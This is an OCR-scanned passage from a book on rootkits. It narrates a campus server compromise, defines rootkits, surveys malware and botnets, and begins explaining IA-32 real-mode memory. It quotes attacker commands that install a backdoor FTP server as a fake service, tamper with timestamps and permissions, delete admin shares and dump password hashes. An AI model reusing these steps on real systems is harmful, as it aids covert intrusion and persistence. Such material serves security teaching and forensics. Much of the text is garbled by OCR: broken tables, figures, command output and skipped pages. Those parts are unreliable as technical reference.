01010010, 01101111, 01101111, 01110100, 01101011, 01101001, 01110100, 01110011, 001_, 01000011, 01001000, 00110001
backside. The caveat of this mindset is that it tends to allow the smaller fires to grow into larger fires, until the fires unite into one big firestorm. But, then again, who doesn't like a good train wreck?
The calcsENG. exe program doesn't exist on the standard Windows install. It's a special tool that the attackers brought with them. They also brought their own copy of touch. exe, which was a Windows port of the standard UNIX program.
1 Microsoft Corporation, "How to gain access to the System Volume Information folder," Knowledge Base Article 309531, May 7, 2007.
4 I Port I
> Nole:
For the sake of brevity, I have used the string "GUID" to represent the global un ique identifier "F7S0E6C3-38EE-ll Dl-8SES-OOC04FC29SEE ."
To help cover their tracks, they changed the timestamp on the System Volume Information directory structure so that it matched that of the Recycle Bin, and then further modified the permissions on the System Volume Information directory to lock down everything but the backup folder. The tools that they used probably ran under the System account (which means that they had compromised the server completely). Notice how they placed their backup folder at least two levels down from the folder that has DENY access permissions. This was, no doubt, a move to hide their presence on the compromised machine.
touch touch touch touch xcacls xcacls xcacls xcacls -g -g -g -g
"c: \RECYCLER" "c: \RECYCLER" "c: \RECYCLER " "c: \RECYCLER" "c: \System "c: \System "c: \System "c: \System
IY
After setting up a working folder, they changed their focus to the System32 folder, where they installed several files (see Table 1-1). One of these files was a remote access program named qttask. exe.
cd\ c: cd %systemroot% cd system32 qttask.exe Ii net start LdmSvc
Under normal circumstances, the qttask. exe executable would be Apple's QuickTime player, a standard program on many desktop installations. A forensic analysis of this executable on a test machine proved otherwise (we'll discuss forensics and anti-forensics later on in the book). In our case, qttask. exe was a modified FiP server that, among other things, provided a remote shell. The banner displayed by the FiP server announced that the attack was the work of "Team WzM." I have no idea what WzM stands for, perhaps "Wort zum Montag." The attack originated on an IRe port from the IP address 195.157.35.1, a network managed by Dircon.net, which is headquartered in London.
Port I
I5
Table 1-1
File name
qttask.exe pWdumpS.exe lyae.cmm pci. acx wci.acx icp.nls,icw.nls libeay32 . dll,ssleay32.dll svcon. crt svcon . key
D esmptlon FTP-based command and control server Dumps password hashes from the SAM database2 ASCII bannerfile ASCII text, configuration parameters ASCII text, filter sellings of some sort Language support files DLLs used by OpenSSL PKI certificate used by DLLs3 ASCII text, registry key entry used during installation
Once the ITP server was installed, the batch file launched the server. The qttask. exe executable ran as a service named LdmSvc (the display name was "Logical Disk Management Service"). In addition to allowing the rootkit to survive a reboot, running as a service was also an attempt to escape detection. A harried system administrator might glance at the list of running services and (particularly on a dedicated file server) decide that the Logical Disk Management Service was just some special "value-added" OEM program. The attackers made removal difficult for us by configuring several key services, like RPC and the event logging service, to be dependent upon the LdmSvc service. They did this by editing service entries in the registry (see HKLM\SYSTEM\CurrentControlSet\Services). Some of the service registry keys possess a REG_MUL TI_SZ value named DependOnService that fulfills this purpose. Any attempt to stop LdmSvc would be stymied because the OS would protest (i.e., display a pop-up window), reporting to the user that core services would also cease to function. We ended up having to manually edit the registry to remove the dependency entries, delete the LdmSvc sub-key, and then reboot the machine to start with a clean slate. On a compromised machine, we'd sometimes see entries that looked like:
C:\>reg query HKLM\SYSTEM\CurrentControlSet\Services\RpcSs HKEY_lOCAl_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs DisplayName REG_SZ @oleres.dIl,-se10 Group REG_SZ CCM Infrastructure ImagePath REG_EXPAND_SZ svchost.exe -k rpcss
2 3 http://passwords.openwall.netlmicrosoft-windows-nt-2000-xp-2003-vista http://www.openssl.org/
6 I Port I
Note how the DependOnService field has been set to include LdmSvc, the faux logical disk management service. Like many attackers, after they had established an outpost, they went about securing the machine so that other attackers wouldn't be able to get in. For example, they shut off the default hidden shares.
net net REM net net net net net net net net net share Idelete C$ Iy share Idelete D$ Iy skipping E$ to Y$ for brevity share Idelete Z$ Iy share Idelete $RPC share Idelete $NT share Idelete $RA SERVER share Idelete $SQL SERVER share Idelete ADMIN$ Iy share Idelete IPC$ Iy share Idelete lwc$ Iy share Idelete printS
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" Iv AutoShareServer It REG_!HlRD Id a If reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" Iv AutoShareWks It REG_!HlRD Id a If
Years earlier, the college's original IT director had decided that all of the machines (servers, desktops, and laptops) should all have the same password for the local system administrator account. I assume this decision was instituted so that we wouldn't have to remember that many passwords, or be tempted to write them down. However, once the attackers ran pwdump5, giving them a text file containing the file server's LM and NTLM hashes, it was the beginning of the end. No doubt, they brute forced the LM hashes offline with a tool like John the Ripperi and then had free reign to every machine under our supervision (including the domain controllers). Game over, they sank our battleship. In the wake of this initial discovery, it became evident that Hacker Defender had found its way onto several of our mission-critical systems and the intruders were gleefully watching us thrash about in panic. To further amuse
4 http://www.openwall.com/john/
Part I
I7
themselves, they surreptitiously installed Microsoft's Software Update Services (SUS) on our web server and then adjusted the domain's group policy to point domain members to the rogue SUS server. Just in case you're wondering, Microsoft's SUS product was released as a way to help administrators provide updates to their machines by acting as a LAN-based distribution point. This is particularly effective on networks that have a slow WAN link. While gigabit bandwidth is fairly common in American universities, there are still local area networks (e.g., Kazakhstan) where dial-up to the outside is as good as it gets. In slow-link cases, the idea is to download updates to a set of one or more web servers on the LAN, and then have local machines access updates without having to get on the Internet. Ostensibly this saves bandwidth because the updates only need to be downloaded from the Internet once. While this sounds great on paper, and the MCSE exams would have you believe that it's the greatest thing since sliced bread, SUS servers can become a single point of failure and a truly devious weapon if compromised. The intruders used their faux SUS server to install a remote administration suite called DameWare on our besieged desktop machines (which dutifully installed the .msi files as if they were a legitimate update). Yes, you heard right. Our update server was patching our machines with tools that gave the attackers a better foothold on the network. The ensuing cleanup took the better part of a year. I can't count the number of machines that we rebuilt from scratch. When a machine was slow to respond, or had locked out a user, the first thing we did was to look for DameWare.
8 I Port I
Semantics
What exactly is a rootkit? One way to understand what a rootkit is, and is not, can be gleaned by looking at the role of a rootkit in the lifecycle of a network attack (see Figure 1-1). In a remote attack, the intruder will begin by gathering general intelligence on the targeted organization. This phase of the attack will involve sifting through bits of information like an organization's DNS registration and the public IP address ranges that they've been assigned. Once the Internetfootprint of the targeted organiBrute Force- Attack (e.,., Ra inbow Tables) zation has been established, the attacker will use a tool like Nmap5 try to enumerate live hosts, via ping sweeps or targeted IP scans, and then examine each live host for standard F igure 1-1 network services. After attackers have identified an attractive target and compiled a list of the services that it provides, they will try to find some way to gain shell access. This will allow them to execute arbitrary commands and perhaps further escalate their rights, preferably to that of the root account (though, on a Windows machine sometimes being a power user is sufficient6) . For example, if the machine under attack is a web server, the attackers might launch a SQL injection attack against a poorly written web application to compromise the security of the associated database server. They can then leverage their access to the database server to acquire administrative rights. Perhaps the password to the root account is the same as the database administrator's? In general, the tools used to root a machine will run the gamut from social engineering, to brute force password cracking, to getting the target machine
5 http://sectools.org 6 Mark Russinovich, "The Power in Power Users," Sysinternals.com/blog, May I , 2006.
Port I
I9
to run a buffer overflow exploit. There are countless possible avenues of approach. Books have been written about this process.7 Based on my own experience and the input of my peers, software exploits and social engineering are two of the most frequent avenues of entry for mass-scale attacks against a network. In the case of social engineering, the user is usually tricked into opening an e-mail attachment or running a file downloaded from a web site (though there are policies that an administrator can enforce to help curb this). When it comes to software exploits, the vendors are to blame. While certain vendors may pay lip service to security, it often puts them in a difficult position because implementing security can be a costly proposition. In other words, the imperative to make a buck and the desire to keep out the bad guys can be at odds. Would you rather push out the next release or spend time patching the current one? Strictly speaking, you don't need to seize an administrator's account to root a computer. Ultimately, rooting a machine is about gaining the same level of raw access as the administrator. For example, the System account on a Windows machine, which represents the operating system itself, actually has more authority than accounts in the Administrators group. If you can exploit a Windows program that's running under the System account, it's just as effective as being the administrator (if not more so). In fact, some people would claim that running under the System account is superior because tracking an intruder who's using this account becomes a lot harder. There are so many log entries created by the System that it would be hard to distinguish those produced by an attacker. Nevertheless, rooting a machine and keeping root access are two different things Gust like making a million dollars and keeping a million dollars). There are tools that a savvy system administrator can use to catch interlopers and then kick them off a compromised machine. Intruders who are too noisy with their newfound authority will attract attention and lose their prize. The key then, for intruders, is to get in, get privileged, monitor what's going on, and then stay hidden so that they can enjoy the fruits of their labor. This is where rootkits enter the picture. A rootkit is a collection of tools (e.g., binaries, scripts, configuration files) that allow intruders to conceal their activity on a computer so that they can covertly monitor and control the system for an extended period. A well-designed rootkit will make a compromised machine appear as though nothing is wrong, allowing attackers to maintain a logistical
7 McClure, Scambray, Kurtz, Hacking Exposed, 5th Edition, McGraw-Hill Osborne Media, 2005.
10 I Pa rt I
outpost right under the nose of the system administrator for as long as they wish. The manner in which a rootkit is installed can vary. Sometimes it's installed as a payload that's delivered by an exploit. Other times, it's installed after shell access has been achieved. In this case the intruder will usually use a tool like wget8 or the machine's native FTP client to download the rootkit from a remote outpost. What about your installation media? Can you trust it? In the pathological case, a rootkit could find its way into the source code tree of a software product before it hits the customer. Is that obscure flaw really a bug, or is it a cleverly disguised back door that has been intentionally left ajar?
Without a doubt, there are packages that offer one or more of these features that aren't rootkits. Remote administration products like OpenSSH,1O GoToMyPC by Citrix, and Windows Remote Desktop are well-known standard tools. There's also a wide variety of software packages that enable
8 http://www.gnu.org/software/wget/ 9 http://www.nsa.gov/venonalindex.cfm 10 http://www.openssh.org/
Po rt I
I 11
monitoring and data exfiltration (e.g., Spector Pro and PC Tattletale). What distinguishes a rootkit from other packages is that it facilitates both of these features, and it allows them to be performed surreptitiously. When it comes to rootkits, stealth is the primary concern. Regardless of what else happens, you don't want to catch the attention of the system administrator. Over the long run, this is the key to surviving behind enemy lines. Sure, if you're in a hurry you can crack a server, set up a telnet session with admin rights, and install a sniffer to catch network traffic. But your victory will be short lived if you can't conceal what you're doing.
> Note:
When it comes to defining a rootkit, try not to get hung up on implementation details . A rootkit is defined by the services that it provides rather how it realizes them . This is an important point. Focus on the end result rather than the means . If you can conceal your presence on a machine by hiding a process, so be it. But there are plenty of other ways to conceal your presence, so don't assume that all ro otkits hide processes (or some other predefined system object) .
The remaining chapters of this book investigate the three services mentioned above, though the bulk of the material covered is focused on concealment: Finding ways to design a rootkit and modifing the operating system so that you can remain undetected.
Aside
In military parlance, aforce multiplier is a factor that significantly
increases the effectiveness of a fighting unit. For example, stealth bombers like the B-2 Spirit can attack a strategic target without the support aircraft that would normally be required to jam radar, suppress air defenses, and fend off enemy fighters. In the domain of information warfare, rootkits can be viewed as such - a force multiplier. By lulling the system administrator into a false sense of security, a rootkit facilitates long-term access to a machine and this, in turn, translates into better intelligence.
12
Po rt I
The Feds
Historically speaking, rookits were originally the purview of Black Hats. Recently, however, the Feds have also begun to find them handy. For example, the FBI developed a program known as Magic Lantern which, according to reports,ll could be installed via e-mail or through a software exploit. Once installed, the program surreptitiously logged keystrokes. It's likely that they used this technology, or something very similar, while investigating reputed mobster Nicodemo Scarfo Jr. on charges of gambling and loan sharking. 12 According to news sources, Scarfo was using PGP13 to encrypt his files and the FBI would've been at an impasse without the encryption key. I suppose one could take this as testimony to the effectiveness of the PGP suite.
The Spooks
Though I have no hard evidence, it would probably not be too far a jump to conclude that our own intelligence agencies (CIA, NSA, DoD, etc.) have been investigating rootkits and related tools. In a 2007 report entitled Cybercrime: The Next Wave, antivirus maker McAfee estimated that some 120 countries were actively studying online attack strategies. The Chinese, specifically, were noted as having publicly stated that they were actively engaged in pursuiI!g cyber-espionage.
11 Ted Bridis, "FBI Develops Eavesdropping Tools," Washington Post, November 22, 200!. 12 John Schwartz, "U.S. Refu ses to Disclose PC Trackjng," New York Times, August 25, 200l. 13 http://www.gnupg.org/
Port I
113
The report also quoted Peter Sommer, a visiting professor at the London School of Economics as saying: "There are signs that intelligence agencies around the world are constantly probing other governments' networks looking for strengths and weaknesses and developing new ways to gather intelligence." Sommer also mentioned that "Government agencies are doubtless conducting research on how botnets can be turned into offensive weapons." Do you remember what I said earlier about rootkits being used as a force multiplier? State sponsored hacking? Now there's an idea. The rootkits that I've dissected have all been in the public domain. Many of them are admittedly dicey, proof-of-concept implementations. I wonder what a rootkit funded by a national security budget would look like. Furthermore, would McAfee agree to ignore it just as they did with Magic Lantern? In its 2008 Report to Congress, the U.S.-China Economic and Security Review Commission noted that "China's current cyber operations capability is so advanced, it can engage in forms of cyber warfare so sophisticated that the United States may be unable to counteract or even detect the efforts." According to the report, there were some 250 different hacker groups in China that the government tolerated (if not openly encouraged). National secrets have always been an attractive target. The potential return on investment is great enough that they warrant the time and resources necessary to build a military-grade rootkit. For instance, in March of 2005 the largest cellular service provider in Greece, Vodafone-Panafon, found that four of its Ericsson AXE switches had been compromised by a rootkit. The rootkit modified the switches to both duplicate and redirect streams of digitized voice traffic so that the intruders could listen in on calls. Ironically, they leveraged functionality that was originally in place to facilitate legal intercepts on behalf of law enforcement investigations. The rootkit targeted the conversations of over 100 highly placed government and military officials, including the prime minister of Greece, ministers of national defense, the mayor of Athens, and an employee of the U.S. embassy. The rootkit patched the switch software so that the wiretaps were invisible, none of the associated activity was logged, and the rootkit itself was not detectable. Once more, the rootkit included a back door to enable remote access. Investigators reverse-engineered the rootkit's binary image to create an approximation of its original source code. What they ended up with was
14 I Po rl I
roughly 6,500 lines of code. According to investigators, the rootkit was implemented with "a finesse and sophistication rarely seen before or since."14
The Suits
Finally, business interests have also found a use for rootkit technology. Sony, in particular, used rootkit technology to implement Digital Rights Management (DRM) functionality. The code, which installed itself with Sony's CD player, hid files, directories, tasks, and registry keys whose names begin with $syS$.15The rootkit also phoned home to Sony's web site, disclosing the player's ill and the IP address of the user's machine. After Mark Russinovich, of System Internals fame, talked about this on his blog the media jumped all over the story and Sony ended up going to court. When the multinationals aren't spying on you and me, they're busy spying on each other. Industrial espionage is a thriving business. During the fiscal year 2005, the FBI opened 89 cases on economic espionage. By the end of the year they had 122 cases pending. No doubt these cases are just the tip of the iceberg. According to the Annual Report to Congress on Foreign Economic Collection and Industrial Espionage - 2005, published by the office of the National Counterintelligence Executive (NCIX), a record number of countries are involved in pursuing collection efforts targeting sensitive U.S. technology. The report stated that much of the collection is being done by China and Russia.
Part I
115
Granted, this person's problem may not even be virus related. Perhaps all that is needed is to patch the software. Nevertheless, when things go wrong the first thing that comes into the average user's mind is "virus." To be honest, most people don't necessarily need to know the difference between different types of malware. You, however, are reading a book on rootkits and so I'm going to hold you to a higher standard. I'll start off with a brief look at infectious agents (viruses and worms), then discuss adware and spyware. Finally, I'll complete the tour with an examination of botnets.
Infedious Agents
The defining characteristic of infectious software like viruses and worms is that they exist to replicate. The feature that distinguishes a virus from a worm is how this replication occurs. Viruses, in particular, need to be actively executed by the user, so they tend to embed themselves inside an existing program. When an infected program is executed, it causes the virus to spread to other programs. In the nascent years of the PC, viruses usually spread via floppy disks. A virus would lodge itself in the boot sector of the diskette, which would run when the machine started up, or in an executable located on the diskette. These viruses tended to be very small programs written in 6 assembly code. 1 Back in the late 1980s, the Stoned virus infected 360 KB floppy diskettes by placing itself in the boot sector. Any system that booted from a diskette infected with the virus would also be infected. Specifically, the virus loaded by the boot process would remain resident in memory, copying itself to any other diskette or hard drive accessed by the machine. During system startup, the virus would display the message: "Your computer is now stoned." Once the Internet boom of the 1990s took off, e-mail attachments, browser-based ActiveX components, and pirated software became popular transmission vectors. Recent examples of this include the ILOVEYOU virus,1 7 which was implemented in Microsoft's VBScript language and transmitted as an attachment named LOVE- LETTER - FOR- YOU. TXT. vbs. Note how the file has two extensions, one that indicates a text file and the other that indicates a script file. When the user opened the attachment (which looks like a text file on machines configured to hide file extensions) the Windows Script Host would run the script and the virus would be set in motion to spread
16 Mark Ludwig, The Giant Black Book of Computer Viruses, 2nd Edition, American Eagle Publications, 1998. 17 http://us.mcafee.comivirusinfo/default.asp?id=description&virus_k=98617
16
Port I
itself. The ILOVEYOU virus, among other things, sends a copy of the infecting e-mail to everyone in the user's e-mail address book.
Worms are different in that they don't require explicit user interaction (e.g.,
launching a program or double-clicking a script file) to spread; worms spread on their own automatically. The canonical example is the Morris worm. In 1988, Robert Tappan Morris, then a graduate student at Cornell, released the first recorded computer worm out into the Internet. It spread to thousands of machines and caused quite a stir. As a result, Morris was the first person to be indicted under the Computer Fraud and Abuse Act of 1986 (he was eventually fined and sentenced to three years probation). At the time, there wasn't any sort of official framework in place to alert administrators of an outbreak. According to one in-depth examination,18 the UNIX "old-boy" network is what halted the worm's spread.
Part I
117
A botnet is a collection of machines that have been compromised (aka zombies) and are being controlled remotely by one or more individuals (bot herders). The botnet is a huge distributed network of infected computers that do the bidding of the herders, who issue commands to their minions through command-and-control servers (also referred to as C2 servers), which tend to be IRC or web servers with a high-bandwidth connection. Bot software is usually delivered as an extra payload with a virus or worm. The bot herder "seeds" the Internet with the virus/worm and waits for the crop to grow. The malware travels from machine to machine, creating an army of zombies. The zombies log on to a C2 server and wait for orders. Users often have no idea that their machine has been turned, though they might notice that their machine has suddenly become much slower as they now share the machine's resources with the bot herder.
Aside
Recall the forensic evidence that I presented in the first section of this chapter. As it turns out, the corresponding intrusion was just a drop in the bucket in terms of the spectrum of campus-wide security incidents. After comparing notes with other IT departments, we concluded that there wasn't just one group of attackers. There were, in fact, several groups of attackers, from different parts of Europe and the Baltic states, who were waging a virtual turf war to see who could stake the largest botnet claim in the SFSU network infrastructure. Thousands of computers had been turned to zombies (and may still be, to the best of my knowledge). Once a botnet has been established, it can be leased out to send spam, enable phishing scams geared toward identity theft, execute click fraud, and to perform distributed denial of service (DDoS) attacks. The person renting the botnet can use the threat of DDoS for the purpose of extortion. The danger posed by this has proven very serious. According to Vint Cerf, a founding father of the TCP/IP standard, up to 150 million of the 600 million computers connected to the Internet belong to a botnet. 19 During a single incident in September of 2005, police in the Netherlands uncovered a botnet consisting of 1.5 million zombies. 20 When my coworkers returned from DEF CON in the summer of 2007, they said that the one recurring topic that they encountered was "botnets, botnets, and more botnets."
19 Tim W eber, "Criminals may overwhelm the web," BBC News, January 25, 2007. 20 Gregg Keizer, "Dutch Botnet Suspects Ran 1.5 Million Machines," TechWeb, October 21,2005.
18
Part I
Part I
119
severity (e.g., denial of service on desktop platforms) and opted to focus on more critical issues. To get an idea of how serious this problem is, let's look at the plight of Moishe Lettvin, a Microsoft alumnus who devoted an entire year of his professionallife to implementing a system shutdown UI that consisted of, at most, a couple hundred lines of code. According to Moishe: 22 Approximately every four weeks, at our weekly meeting, our PM would say, "The shell team disagrees with how this looks/feels/works" and/or "The kernel team has decided to include/not include some functionality which lets us/prevents us from doing this particular thing." And then in our weekly meeting we'd spend approximately 90 minutes discussing how our feature - er, menu - should look based on this "new" information. Then at our next weekly meeting we'd spend another 90 minutes arguing about the design, then at the next weekly meeting we'd do the same, and at the next weekly meeting we'd agree on something ... just in time to get some other missing piece of information from the shell or kernel team, and start the whole process again. Whoa. Wait a minute. Does this sound like the scrappy upstart that beat IBM at its own game back in the 1980s and then buried everyone else in the 1990s? One way to indirectly infer the organizational girth of Microsoft is to look at the size of the Windows code base. More code means larger development teams. Larger development teams require additional bureaucratic infrastructure and management support (see Table 1-2).
Table 1-2 Product Windows NT 3.1 Windows 2000 Windows XP Windows Vista L of Code ines 6 million 35 million 45 million 50 million R nce efere "The Long and Winding Windows NT Road: Business Week, February 22, 1999. Michael Martinez, "At Long Lost Windows 2000 Operating System to Ship in February: Associated Press, December 15, 1999. Alex Salkever, 'Windows XP: AFirewall for All: Business Week,June 12, 200l. Lohr and Markoff, "Windows Is So Slow, but Why?" New York Times, March 27, 2006.
Looking at the previous table, you can see how the number of lines of code spiral ever upwards. Part of this is due to Microsoft's mandate for backward compatibility. Every time a new version is released, it carries requirements
22
http://moishelettvin.blogspot.com/
20
Pa rl I
from the past with it. Thus, each successive release is necessarily more elaborate than the last. Complexity, the mortal enemy of every software engineer, gains inertia. Microsoft has begun to feel the pressure. In the summer of 2004, the whiz kids in Redmond threw in the towel and restarted the Longhorn project (now Windows Server 2008), nixing two years worth of work in the process. What this trend guarantees is that exploits will continue to crop up in Windows for quite some time. In this sense, Microsoft may very well be its own worst enemy. Like the rebellious child who wakes up one day to find that he has become like his parents, Bill Gates may one day be horrified to discover that Microsoft has become an IBM.
Po rt I
I 21
the appropriate precautions. Knowledge is power, and those who can subvert a system can also defend it. Having issued this proclamation, grab your gear and follow me into the tunnels.
22
Port I
Chapter 2
1010010 , AIWl111 , 131101111, 011113100. 1311011311, 01101001, OllHHOO, 01110011, OOleeeee, OlBeeell, 01001000, 001100113
There are a myriad of executable file formats (e.g., a .out, ELF, PE, etc.), but outside of their individual structural nuances they all deliver the same thing: machine code and data values. You can modify a program by altering either or both of these components. For example, programmers could overwrite an application's opcodes (on disk or in memory) to intercept program control. They could also tweak the data structures used by the application (e.g., lookup tables, stack frames, memory descriptor lists, etc.) to change its behavior. Or they could do some variation that involves a mixture of the two approaches. As mentioned in the previous chapter, the design goals of a rootkit are to provide three services: remote access, monitoring, and concealment. These services can be implemented by patching the resident OS and the programs that run on top of it. In other words, to build a rootkit we need to find ways to locate application components that can be safely manipulated. The problem with this strategy is that is sounds easy; just like making money in the stock market (it's simple, you just buy low and sell high). The true challenge lies in identifying feasible tactics. Indeed, most of this book will be devoted to this task.
23
But before we begin our journey into patching techniques, there are basic design decisions that must be made. Specifically, the engineer implementing a rootkit must decide what to alter, and where the code that performs the alterations will reside. These architectural issues depend heavily on the distinction between kernel-mode and user-mode execution. To weigh the tradeoffs inherent in different rootkits, we need to understand how the barrier between kernel mode and user mode is instituted in practice. This requirement will lead us to the bottom floor, beneath the subbasement of system-level software, to the processor. Inevitably, if you go far enough down the rabbit hole, your pursuit will lead you to the hardware. Thus, we'll spend this chapter focusing on Intel's 32-bit processor architecture. (Intel's documentation represents this class of processors using the acronym IA-32.) Once the hardware underpinnings have been fleshed out, in the next chapter we'll look at how the Windows operating system uses facets of the IA-32 family to offer memory protection and implement the great divide between kernel mode and user mode. Only then will we finally be in a position where we can actually broach the topic of rootkit implementation. Having said that, there may be grumbling from the peanut gallery about my choice of hardware and system software. After all, isn't IA-64 the future? What about traditional enterprise platforms like AIX? Having mulled over these issues, my decision was based on availability and market share. Simply put, Windows running on IA-32 constitutes what most people will be using over the next few years. While some readers may find this distasteful, it's a fact that I could not afford to ignore. Some researchers like Jamie Butler, the creator of the FU rootkit, would also argue that the implementing on Windows is a more interesting challenge because it's a proprietary operating system. According to Butler: "The *NJX rootkits have not advanced as quickly as their Windows counterparts, I would argue. No one wants to play tic-tac-toe. A game of chess is so much more fulfilling. "
24
Po rt I
Physical Memory
A physical address is a value that the processor places on its address lines to access a byte of memory in the motherboard's RAM chips. Each byte of memory in RAM is assigned a unique physical address. The range of possible physical addresses that a processor can specify on its address lines is known as the physical address space. The actual amount of physical memory available doesn't always equal the size of the address space. A physical address is just an integer value. Physical addresses start at zero and are incremented by one. The region of memory near address zero is known as the bottom of memory, or low memory. The region of memory near the final byte is known as high memory. Address lines are sets of wires connecting the processor to its RAM chips. Each address line specifies a single bit in the address of a given byte. For example, IA-32 processors, by default, use 32 address lines (see Figure 2-1). This means that each byte Physical Address is assigned a 32-bit address such that its address space consists of 232 addressable bytes (4 GB). In the early 1980s, the Intel 8088 processor had 20 address lines, so it was capable of addressing only 220 bytes, or 1 MB. With the current batch of IA-32 processors, there is a feature that enables four more address lines to be accessed using what is known as Physical Address Extension (PAE). This allows the processor's physical address space to be defined by 36 address lines. This translates into an address space of 236 bytes (64 GB).
CPU
Figure 2-1
Part I
125
To access and update physical memory, the processor uses a control bus and a data bus. A bus is just a series of wires that connect the processor to a hardware subsystem. The control bus is used to indicate if the processor wants to read from memory or write to memory. The data bus is used to ferry data back and forth between the processor and memory. When the processor reads from memory, the following steps are performed:
1.
2. 3.
The processor places the address of the byte to be read on the address lines. The processor sends the read signal on the control bus. The RAM chip(s) return the byte specified on the data bus.
When the processor writes to memory, the following steps are performed:
1.
2. 3.
The processor places the address of the byte to be written on the address lines. The processor sends the write signal on the control bus. The processor sends the byte to be written to memory on the data bus.
IA-32 processors read and write data 4 bytes at a time (hence the "32" suffix in IA-32). The processor will refer to its 32-bit payload using the address of the first byte (i.e., the byte with the lowest address). Table 2-1 displays a historical snapshot in the development of IA-32. From the standpoint of memory management, the first real technological jump occurred with the Intel 80286, which increased the number of address lines from 20 to 24 and introduced segment limit checking and privilege levels. The 80386 added eight more address lines (for a total of 32) and was the first chip to offer virtual memory management via paging. The Pentium Pro, the initial member of the P6 processor family, was the first Intel CPU to implement Physical Address Extension (PAE) facilities such that 36 address lines could be accessed.
Table 2-1
CPU Release Dote Max Address Lines Onglnal Max Cla(k Speed
8086/88 Intel 286 Intel 386 OX Intel 486 OX Pentium Pentium Pro
26
Po rl I
Address N
Address Nl
Address N 2
Address
N ,j
Attttrpo;o; N -4
t--~
1
Address 0.000000004
Address OxOOOOOOO03
Po rt I
I 27
...--fJ
Data Segment
Logical Address (Far Pointer)
Address N]
Address N-4 Address N-S
Address N.-6
Effective Address
L Segment Selector
byte
... -
Address N-'
Code Segment
1
Address OxOOOOOOOOB
Address OxOOOOOOOQA
Stack Segment
Address OXOOOOOOOO9
Addteu 0.000000008
Address 0.000000007
I-Data Segment
Address 0.000000006
Address 0.000000005
Address OxOOOOOOOO4
Address Ox000000003
Figure 2-3
Modes of Operation
An IA-32 processor's mode of operation determines the features that it will
support. For the purposes of rootkit implementation, there are two specific IA-32 modes that we're interested in: Realmode Protected mode
There's also a third mode, called system management mode (SMM), that's used to execute special code embedded in the firmware (think emergency shutdown, power management). Leveraging SMM mode to implement a rootkit has been publicly discussed. 1 The two modes that we're interested in for the time being (real mode and protected mode) happen to be instances of the segmented memory model. One offers segmentation without protection and the other offers a variety of memory protection facilities.
BSDaemon, coideloko, DOnandOn, "System Management Mode Hacks," Phrack , Volume 12, Issue 65.
28
Po rt I
Real mode implements the I6-bit execution environment of the old Intel
8086/88 processors. Like a proud parent (driven primarily for the sake of backward compatibility), Intel has required the IA-32 processor speak the native dialect of its ancestors. When an IA-32 machine powers up, it does so in real mode. This explains why you can still boot IA-32 machines with a DOS boot disk.
Protected mode implements the execution environment needed to run contemporary system software like Vista. After the machine boots into real mode, the operating system will set up the necessary bookkeeping data structures and then go through a series of elaborate dance steps to switch the processor to protected mode so that all the bells and whistles that the hardware offers can be leveraged.
H.. hM....,.,ry
Offset 0.0100
Address OxFffFO
Address OxFFFFC
Se,ment
r
Address 0.22100
Bo.. 0.2200(0)
r
Address OX00003
Ox2200 0.0100
0x2200(0) 0.[0)0100
F 2-4 igure
Port I
I 29
Question: If addresses are 20 bits, how can the sum of two 16-bit values form a 20-bit value? Answer: The trick is that the segment address has an implicit zero added to
the end. For example, a segment address of ex22ee is treated as ex22eee by the processor. This is denoted, in practice, by placing the implied zero in brackets (e.g., ex22ee[e]). The resulting sum of the segment address and the offset address is 20 bits in size, allowing the processor to access 1 MB of physical memory. Segment Selector
+ Effective Address
Physical Address
ex22ee exelee
-+ -+
ex22ee[e] ex [e]elee
-+ -+
Because a real mode effective address is limited to 16 bits, segments can be at most 64 KB in size. In addition, there is absolutely no memory protection afforded by this scheme. Nothing prevents a user application from modifying the underlying operating system.
> Note: Given the implied rightmost hexadecimal zero in the segment
address, segments always begin on a paragraph boundary (i.e ., a paragraph is 16 bytes in size) . In other words, segment addresses are evenly divisible by 16 (e.g., Ox 10).
30
Po rt I
Extended Memory
1
1
OxfFFFF
UpperMemoryA,..
OxAOCJOO-OxAFFFF
""N-"'_~''li>~'. t...
~: ~: ~
CIIcOE2RHl1d)R;61'
Qx0070!HlxE2EF OxOO50CH),,06FF
~F
""""""C" Ox9FFFF
Con"."
DOSo.t.ArH
810S o.t.Aru
IntarruptVKtorT.b ..
0x00000-0x003FF
0x00000
Figure 2-5
You can get a general overview of how DOS maps its address space using mem.exe:
C:\> mem.exe 655360 bytes total conventional memory 655360 bytes available to MS-DOS 582989 largest executable program size
1848576 bytes total contiguous extended memory o bytes available contiguous extended memory 941056 bytes available XMS memory MS-DOS resident in High Memory Area
You can get a more detailed view by using the command with the debug switch:
C:\> mem.exe Id
Segment
Name
Type
(lK) (3K)
10
CCJ,I
AUX PRN
Interrupt Vector Cornnunication Area DOS Cornnunication Area System Data System Device Driver System Device Driver System Device Driver
ReM
Po rt I
I 31
CLOCK$ A: - C: COO
LPT1
LPT2
LPn
C(JQ
CC1'13
C()0\4
90116
eeB8A
(421<) (11K)
MSOOS
10
(9K) (9K)
(81<)
System Device System Device System Device System Device System Device System Device System Device System Device System Device System Data System Data FILES=8 FCBS=4 BUFFERS=lS
LASTDRIVE ..E
(9K)
(2K) (SK)
C~
C~
STACKS=9,12
(9K) (9K)
HEM HEM
MSOOS
As you can see, low memory is populated by BIOS code, the operating system (i.e., IO and MSOOS), device drivers, and a system data structure called the interrupt vector table, or IVT (we'll examine the IVT in more detail later). As we progress upward, we run into the command line shell (command. com), the executing mem.exe program, and free memory.
For example, there are times when you may need to pre-empt an operating system to load a rootkit into memory, maybe through some sort of modified boot sector code. To do so, you'll need to rely on services provided by the BIOS. On IA-32 machines, the BIOS functions in real mode (making it convenient to do all sorts of things before the kernel insulates itself with memory protection).
32
Pa rt I
Another reason to study real mode is that it leads very naturally to protected mode. This is because the protected mode execution environment can be seen as an extension of the real-mode execution environment. Historical forces come into play here, as Intel's customer base put pressure on the company to make sure that their products were backward compatible. For example, anyone looking at the protected-mode register set will immediately be reminded of the real-mode registers. Finally, in this chapter I'll present several examples that demonstrate how to patch MS-DOS applications. These examples will establish general themes with regard to patching system-level code that will recur throughout the rest of the book. I'm hoping that the real mode example that I walk through will serve as a reminder and provide you with a solid frame of reference from which to interpret more complicated scenarios.
Bit 15
Bit 0
CS
Code Segment
AH
AL
AX
